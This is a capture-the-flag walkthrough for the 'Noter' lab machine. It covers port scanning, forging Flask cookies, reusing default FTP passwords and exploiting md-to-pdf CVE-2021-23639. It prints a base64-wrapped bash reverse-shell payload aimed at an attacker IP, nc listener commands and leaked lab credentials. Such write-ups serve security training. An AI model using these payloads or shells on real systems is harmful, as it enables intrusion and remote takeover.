Noter
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.160 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.160.
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
| 256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_ 256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
44891/tcp open unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelPort 5000 (Werkzeug web server)
5000 (Werkzeug web server)We create an account and then sign in. Immediately we notice there is an option to "Upgrade to VIP," but clicking on it shows the message "We are currently not able to provide new premium memberships due to some problems in our end. We will let you know once we are back on. Thank you!"
Let's brute force directories with ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.160:5000/FUZZ:
This finds nothing useful. We can also try scanning for directories with our session cookie to see if anything is only available if the cookie is provided. Run ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.160:5000/FUZZ -H "Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoianVsaWEifQ.Yt3kTQ.UWzojmagq_6leTSG7D43gTP21d4". This finds nothing else.
This is a Werkzeug web server so it is probably a Flask application. Using this website we can easily decode the cookie:
Now, let's try to bruteforce the secret used to sign the session cookie. I wrote a script to do this: session_cookie_secret_bruteforce.py. It is basically the same script that I wrote to solve a PicoCTF 2021 challenge. The Flask-Unsign tool can also do this bruteforce attack.
The script finds the secret is secret123. So, now we can sign cookies. We can try signing the cookie {"logged_in": true, "username": "admin"} to see if there is a user with the username admin. We use the flask_cookie method from the session_cookie_secret_bruteforce.py script and then run the following:
The admin cookie is eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yt3rCQ.OzacX8Fa8wnFmOzHTUaNy4xaFAc. Swapping the session cookie for our new admin cookie and reloading the page says we are not authorized. We can try logging out but nothing happens. Creating an account with name admin works, so the account didn't exist. However, with the two cookies we can switch between the admin and julia accounts without a password. Thus, we can now try bruteforcing usernames.
I wrote a [username_bruteforce.py] script. It loops through all the usernames in /usr/share/seclists/Usernames/Names/names.txt, creates a flask session cookie for each one, and tries to load the Noter dashboard using each cookie. If the dashboard loads with HTTP status code 200 (aka a redirect didn't happen to the login page), then we know we have the correct username. After 1m16s the script tells us that the username is blue with cookie eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yt3vTg.byVuyD6oDmJesXew0i_pbcSir6s. We can now use that cookie in our browser.
Going to the notes page at http://10.10.11.160:5000/notes shows two notes:
Noter Premium Membership:
Also, on the "Export Notes" page there is now a "Export directly from cloud" option where we can enter a URL since the blue user is a VIP.
Before the weekend:
Now, we can sign into the FTP server on port 21.
Port 21 (FTP)
21 (FTP)Run ftp 10.10.11.160 to connect via FTP and enter username blue and password blue@Noter! when prompted:
The files directory appears empty (maybe we don't have permissions to view files in that folder) and there is a policy.pdf file. We can download all the files with wget -m --user=blue --password=blue@Noter! ftp://10.10.11.160.
The policy.pdf file discusses Noter's password policy. Interestingly, "Default user-password generated by the application is in the format of "username@site_name!" (This applies to all your applications)"
The first note was signed ftp_admin so maybe that account still has its default password of ftp_admin@Noter!. Run ftp 10.10.11.160 to connect via FTP and enter username ftp_admin and password ftp_admin@Noter! when prompted:
Let's download these files by running wget -m --user=ftp_admin --password=ftp_admin@Noter! ftp://10.10.11.160.
Foothold
There are two app backup ZIP files. Extract the ZIP files and then run diff app_backup_1635803546/ app_backup_1638395546/ to look at the difference between them (because the numbers at the end are unix times):
We notice that the mysql database credentials used to be hardcoded but where then replaced with placeholder values. The database credential are root:Nildogg36.
Looking at app_backup_1638395546/app.py we see export_note_local and export_note_remote:
The md-to-pdf.js script appears to be used to convert markdown notes to PDFs. Searching online finds the package's NPM page and searching for "md-to-pdf vulnerability" finds a "Code Injection in md-to-pdf" GitHub advisory: "The package md-to-pdf before 5.0.0 are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine." This is CVE-2021-23639.
Looking at the issue where the vulnerability was reported gives some proof-of-concept code:
It looks like we just need to pass md-to-pdf a markdown file with content like ---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE and it will execute our code. So, our payload is ---js\n((require("child_process")).execSync("bash -i >& /dev/tcp/10.10.14.7/42626 0>&1"))\n---RCE. I base64 encoded the payload to ensure it runs exactly as intended: ---js\n((require("child_process")).execSync("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzQyNjI2IDA+JjE= | base64 -d | bash"))\n---RCE.
Start a listener with nc -lvnp 42626 (or use pwncat with pwncat-cs -lp 42626). Start a web server with python -m http.server 8000. Create a file called exploit.md with the above payload contents. Then, in the Noter application, on the "Export Notes" page under the "Export directly from cloud" heading, enter http://10.10.14.7:8000/exploit.md into the URL field and click "Export". This should spawn a reverse shell.
Run cat /home/svc/user.txt to get the user.txt flag. We can copy our SSH key to the svc user's authorized_keys files and then authenticate over SSH for a full shell. Run cat ~/.ssh/id_rsa.pub on the attacker machine and paste the output into /home/svc/.ssh/authorized_keys on the target machine.
Privilege Escalation
Earlier we got the root credentials for MySQL: root:Nildogg36. Since we are the root MySQL user, we can use a technique called "privilege escalation via library" to get root on the box.
Following the HackTricks instructions, we need to download this linux C code and compile it inside the linux vulnerable machine.
So, copy paste the following into a file called raptor_udf2.c on the target machine:
Then, run the following commands to compile it:
Next, run the following commands (basically the same as HackTricks):
Then, finally run cat /tmp/root.txt to get the root flag.
Last updated
Was this helpful?